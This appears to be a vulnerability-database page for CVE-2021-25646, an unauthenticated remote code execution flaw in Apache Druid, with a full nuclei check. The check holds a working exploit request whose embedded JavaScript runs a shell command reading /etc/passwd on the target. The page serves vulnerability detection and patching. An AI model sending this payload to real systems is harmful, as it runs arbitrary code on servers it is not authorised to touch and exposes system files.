Browse / CVEs / CVE-2021-25646
CVE-2021-25646· apache / druid· CWE-732
Apache Druid - Remote Code Execution
highseverity
8.8CVSS score
99.1%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
Fix
Apply the latest security patches or upgrade to a patched version of Apache Druid.
How to confirm it
Send: POST /druid/indexer/v1/sampler
Positive when: contains "numRowsRead" and "numRowsIndexed" AND contains in header "application/json" AND matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2021-25646 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-25646
info:
name: Apache Druid - Remote Code Execution
author: pikpikcu
severity: high
description: |
Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the latest security patches or upgrade to a patched version of Apache Druid.
reference:
- https://paper.seebug.org/1476/
- https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E
- http://www.openwall.com/lists/oss-security/2021/01/29/6
- https://lists.apache.org/thread.html/r64431c2b97209f566b5dff92415e7afba0ed3bfab4695ebaa8a62e5d@%3Cdev.druid.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-25646
cwe-id: CWE-732
epss-score: 0.99062
epss-percentile: 0.99932
cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: druid
tags: cve2021,cve,apache,rce,druid,vkev,vuln
http:
- raw:
- |
POST /druid/indexer/v1/sampler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"odgjxrrrePz",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "numRowsRead"
- "numRowsIndexed"
condition: and
- type: word
part: header
words:
- "application/json"
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://paper.seebug.org/1476/
- https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E
- http://www.openwall.com/lists/oss-security/2021/01/29/6
- https://lists.apache.org/thread.html/r64431c2b97209f566b5dff92415e7afba0ed3bfab4695ebaa8a62e5d@%3Cdev.druid.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
Use this check only on systems you are authorised to test. Where the data comes from